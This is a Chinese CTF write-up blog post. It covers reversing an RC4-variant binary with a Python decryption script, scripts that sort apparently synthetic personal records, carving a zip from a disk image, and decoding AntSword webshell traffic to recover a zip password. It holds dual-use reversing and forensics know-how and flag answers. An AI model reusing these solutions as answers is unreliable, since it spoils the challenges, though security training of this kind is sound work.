  sub_4011D6(Str, 44, v7);
  for ( i = 0; i < 44; ++i )
  {
    if ( (char)v9[i] != Str[i] )   // 只需要v9 == Str即可,那么v9就是最终密文
      exit(0);
  }
  return input("goood!", v5);
}
"""
1.xixixx的地址:.data:0040A000,与前面的Destination一致。那么xixixx具体值应该为DASCTF
"""

接下来将对sub_401064(); sub_40119F(xixixx, 6,v7);sub_4011D6(Str, 44, v7);依次分析。

分析后发现

  • sub_401064();:对key进行了加密,有rand,大概率是动态的
  • sub_40119F(xixixx, 6,v7);:对v7(长度为256)进行了加密
  • sub_4011D6(Str, 44, v7);:使用key(长度为6)和v7共同加密Str

这里由于不知道v7,key都不知道是什么,只知道密文v9,所以需要进行动态调试进行获取。
image

image

如果想动态调试上面内容,那么需要将patch内容导入到文件中再调试。
image

这里为了不修改源文件,就断点在前面修改tls时的cmp指令的地方,并现场修改一下。
image

这里要确保调试的时候,这个的值要是DASCTF
image

调试到这里,那么v7就是被加密后的,这里直接获取这个v7
image

image

一定要点击v7进去再提取数据,否则直接v7只会提取v7的地址而不是值。

这里也可以顺便提取一下密文v9(长度44,同Str):
image

用F7进去en_Str函数中看,可以得到前面动态加密后的key。
image

由于key是动态生成的,那么生成的密文可能不一样,根据明文前面一定是DASCTF{,那么就可以根据这个进行明文爆破,得到key。再根据这个key进行获取flag。

这里的加密算是变种rc4(也就是第一道密码题),有根据xixixx(DASCTF)生成S-box(v7,长度256),加密算法也类似。看不出的当然可以根据动态调试一点一点逆向。

这里写出解密脚本

v7 = IDA_3af810 = [0x42, 0x86, 0xdb, 0xc, 0x79, 0xd0, 0xd4, 0x56, 0xd9, 0xfd, 0x64, 0xbe, 0xfc, 0x6b, 0x8, 0x50, 0x78, 0xb0, 0xe, 0x2c, 0x52, 0x19, 0x16, 0xe0, 0x3c, 0x92, 0xda, 0x74, 0xb5, 0x62, 0x15, 0xf2, 0x65, 0x22, 0xab, 0xa8, 0x7b, 0x58, 0x45, 0x3b, 0xb7, 0xd2, 0x94, 0x44, 0xae, 0xef, 0x95, 0x48, 0xc9, 0x36, 0x3e, 0xb4, 0xb, 0x7, 0xb9, 0x13, 0x18, 0x11, 0x8f, 0x9b, 0x8a, 0xe7, 0x71, 0x39, 0xc3, 0xcb, 0x51, 0xd5, 0x68, 0x54, 0x72, 0xce, 0x60, 0x21, 0xee, 0xf1, 0xa2, 0x9, 0xb6, 0x23, 0xe9, 0x6e, 0xc1, 0x2a, 0x77, 0x6c, 0x28, 0xcf, 0x14, 0x9e, 0x75, 0xf7, 0x8b, 0x1f, 0x57, 0x67, 0x70, 0xea, 0x9f, 0x5c, 0xa7, 0x4a, 0xa5, 0xa4, 0x24, 0x10, 0x2d, 0xaa, 0xbd, 0x20, 0xe4, 0xb2, 0x27, 0x61, 0xa0, 0xf0, 0x5d, 0xd3, 0x97, 0x84, 0x69, 0xe8, 0x35, 0x4d, 0xf4, 0x81, 0x98, 0x2f, 0x31, 0x2e, 0x41, 0xaf, 0x73, 0xa1, 0x4c, 0x0, 0xa9, 0x12, 0x90, 0x6a, 0x3, 0xac, 0xdc, 0xc2, 0x91, 0x1d, 0xcc, 0x6, 0xe5, 0x3a, 0xb1, 0x80, 0x5f, 0x5, 0xd6, 0xfe, 0xde, 0xd, 0x7d, 0x9a, 0xe3, 0x7a, 0x46, 0xfa, 0x6f, 0x3d, 0xf8, 0x5b, 0x3f, 0x2b, 0xb8, 0x93, 0x38, 0xeb, 0xc6, 0xb3, 0xf6, 0xf3, 0x55, 0xca, 0x29, 0xcd, 0xc7, 0xd7, 0x6d, 0xa6, 0x1a, 0xf, 0x63, 0xf9, 0x8d, 0x1e, 0x49, 0x4, 0x32, 0x40, 0x17, 0x99, 0xbf, 0x9c, 0x26, 0xdd, 0xfb, 0xad, 0x5e, 0x33, 0xed, 0xe1, 0xc4, 0x5a, 0xd1, 0xd8, 0x89, 0x76, 0x30, 0x59, 0xdf, 0x8e, 0xff, 0x4e, 0xe2, 0x4b, 0x7c, 0xbb, 0xe6, 0xba, 0x1, 0x4f, 0x37, 0x82, 0xc8, 0x85, 0x7e, 0xf5, 0x66, 0x1c, 0xec, 0x96, 0x9d, 0xbc, 0x53, 0x47, 0xa, 0xa3, 0xc5, 0x88, 0x34, 0x87, 0x25, 0x2, 0x43, 0x83, 0xc0, 0x1b, 0x8c, 0x7f]
c = IDA_3af91c = [0xd, 0xd7, 0xfb, 0x5, 0xe0, 0xee, 0xd, 0x97, 0xa4, 0xef, 0x60, 0x14, 0xe3, 0xa0, 0x29, 0x8b, 0x4a, 0x37, 0xec, 0x53, 0xbe, 0xd0, 0xd2, 0xf8, 0xad, 0x13, 0x60, 0xa7, 0xc6, 0xc4, 0x60, 0x71, 0xd5, 0x55, 0x71, 0x13, 0x3e, 0xff, 0x1d, 0xfa, 0x12, 0x80, 0xe3, 0x29]
key = IDA_eca1b0 = [0x1f, 0x16, 0xd, 0x10, 0x13, 0x16]
key = [24, 15, 6, 9, 12, 15]
s = list(b'DASCTF{012345678901234567890123456789123456}')

# v7_backup = v7时,相当于C语言中copy指针,v7修改v7_backup也会跟着修改,所以数组内容copy可以用v7[:]
v7_backup = v7[:] 

def en(s):
    v5 = 0
    v4 = 0
    result = s
    for i in range(44):
        v5 = (v5 + 1) % 256
        v4 = (v4 + v7[v5]) % 256
        v7[v5], v7[v4] = v7[v4], v7[v5]
        temp = key[i % 6] ^ v7[(v7[v4] + v7[v5]) % 256]
        result[i] += temp
        result[i] = result[i] & 0xff
    return result

def de(c):
    v5 = 0
    v4 = 0
    result = c
    for i in range(44):
        v5 = (v5 + 1) % 256
        v4 = (v4 + v7[v5]) % 256
        v7[v5], v7[v4] = v7[v4], v7[v5]
        temp = key[i % 6] ^ v7[(v7[v4] + v7[v5]) % 256]
        result[i] -= temp
        result[i] = result[i] & 0xff
    return result

def find_key(s,c):
    v5 = 0
    v4 = 0
    result = s
    keys = []
    for i in range(6):
        v5 = (v5 + 1) % 256
        v4 = (v4 + v7[v5]) % 256
        v7[v5], v7[v4] = v7[v4], v7[v5]
        result_backup = result[i]
        for key in range(0xff):
            temp = key ^ v7[(v7[v4] + v7[v5]) % 256]
            result[i] += temp
            result[i] = result[i] & 0xff
            if result[i] == c[i]:
                keys.append(key)
                break
            else:
                result[i] = result_backup
    return keys

v7 = v7_backup[:]
key = find_key(s,c)
v7 = v7_backup[:]
flag = de(c)

print(key)
print(bytes(flag))
"""
[24, 15, 6, 9, 12, 15]
b'DASCTF{wow_flag_is_your_the_question_is_eas}'
"""

数据分析

数据分析-1

image

根据文件要求,提取数据。
image

数据在db文件,可以用Navicat等数据库工具打开,可以发现有个content表,value字段。

这里人写需要有一定逻辑,用比较强的AI写就很轻松。

import sqlite3 as sql
import csv
import re

phone_need = [134, 135, 136, 137, 138, 139, 147, 148, 150, 151, 152, 157, 158, 159, 172, 178, 
182, 183, 184, 187, 188, 195, 198, 130, 131, 132, 140, 145, 146, 155, 156, 166, 
167, 171, 175, 176, 185, 186, 196, 133, 149, 153, 173, 174, 177, 180, 181, 189, 
190, 191, 193, 199]
phone_need = list(map(str,phone_need))

name_pattern = re.compile(r'^[\u4e00-\u9fa5]+$')
email_pattern = re.compile(r'^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$')

def check_id(id_str: str):
    if len(id_str) != 18:
        return False
    if not id_str[:17].isdigit():
        return False
    if id_str[17] not in '0123456789X':
        return False
    
    a = [7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2]
    b = {0:"1",1:"0",2:"X",3:"9",4:"8",5:"7",6:"6",7:"5",8:"4",9:"3",10:"2"}
    c = sum(a[i] * int(id_str[i]) for i in range(17))
    d = c % 11
    return b[d] == id_str[17]

def get_type(value: str):
    if check_id(value):
        return 'idcard'
    elif len(value) == 11 and value.isdigit() and value[:3] in phone_need:
        return 'phone'
    elif email_pattern.match(value):
        return 'email'
    elif name_pattern.match(value):
        return 'name'
    return None

conn = sql.connect('./data.db')
cursor = conn.cursor()
cursor.execute("SELECT value FROM content")
values = [row[0] for row in cursor.fetchall()]
conn.close()

data = []
for val in values:
    val = str(val).strip()
    data_type = get_type(val)
    if data_type:
        data.append([data_type, val])

with open('./data.csv','w',encoding='utf-8',newline='') as f:
    writer = csv.writer(f)
    writer.writerow(['type','value'])
    writer.writerows(data)

print('ok')

上交到靶场进行校验,校验成功即可得到flag。

notlose

image

一样的,按照要求,编写代码

import csv
import re
from datetime import datetime

type_line = ['姓名','身份证号','性别','注册日期']

name_pattern = re.compile(r'^[\u4e00-\u9fa5]{2,4}$')
def check(row: list[str]):
    name, idcard, sex, date = row
    if not name_pattern.match(name):
        return False
    if len(idcard) != 18 or not idcard[:17].isdigit():
        return False
    if not check_date(idcard, date):
        return False
    if not check_sex(idcard, sex):
        return False
    return True

def check_date(idcard: str,date: str):
    date = datetime.strptime(date, '%Y-%m-%d')
    birth = datetime.strptime(idcard[6:14],'%Y%m%d')
    if date < birth:
        return False
    return True

def check_sex(idcard: str,sex: str):
    temp = int(idcard[16]) % 2
    if temp == 0:
        return sex == '女'
    return sex == '男'

res = []
with open('./data.csv','r',encoding='utf-8',newline='') as f:
    reader = csv.reader(f)
    for row in reader:
        """['杨明', '440301198008236730', '男', '2012-03-21']"""
        if check(row):
            res.append(row)

with open('./res.csv','w',encoding='utf-8',newline='') as f:
    writer = csv.writer(f)
    writer.writerow(type_line)
    writer.writerows(res)

上交到靶场进行校验,校验成功即可得到flag。

数据溯源与处理

数据溯源-1

题目给了个dd文件,这里可以用Autopsy打开:

发现有个zip文件
image

这里也可以用邪修大法找到这个zip文件。
将dd文件放到010中打开,猜测类似word文档这些,有个压缩包,直接搜索50 4B 03 04
image

这里面提取也是一样的。

用7-Zip解压这个zip文件,得到以下三个文件
image

先看第一部分数据,划到最后发现有个==,猜测base64
image

image

得到第一部分数据。

接下来看第二部分数据,猜测Hex
image

image

得到第二部分数据。

接下来看第三部分,文件提示CBC。但就是卡在这了,可能缺少题目描述信息,如果是RC4,AES,那都得有密钥才行。

easyEzdata

image

了流量包,看协议分级,发现没啥,那就看HTTP
先看请求和会话。
image

image

猜测是webshell

追踪流一下。
image

这里看到xxx=xxx&pass=xxx
怀疑是蚁剑。
尝试将前面的参数值去除前两个字符,base64解码。
image

有个1.zip。留意一下。
再看后面长长的参数
image

发现有个504B,怀疑就是1.zip,将内容放置010 Editor中,创建新文件1.zip,解压发现需要密码,随便输入一个,发现说缺失文件尾。

继续找下一个流。
image

一样的。
image

发现还是一样的内容,那么这个就是zip的后半部分了,一样的尝试,发现还是缺失文件尾。

一样找下一个流
image

解码后还是1.zip,那么这后面的16进制数据还是zip的内容,补充到010中,最终得到一个完整的1.zip,输入密码后没有报文件错误。

那么接下来就需要找zip的密码了。

接着看下一个流
image

image

再下一个
image

再下一个
image

image

再下一个
image

image

再下一个
image

image

发现有个-p,猜测这就是密码:DasAir@123987321789

解压压缩包,得到图片:1.png
image

尝试改宽高(或用png的CRC爆破):
image

得到flag。

posted @ 2026-07-08 20:35  星冥鸢  阅读(17)  评论(0)    收藏  举报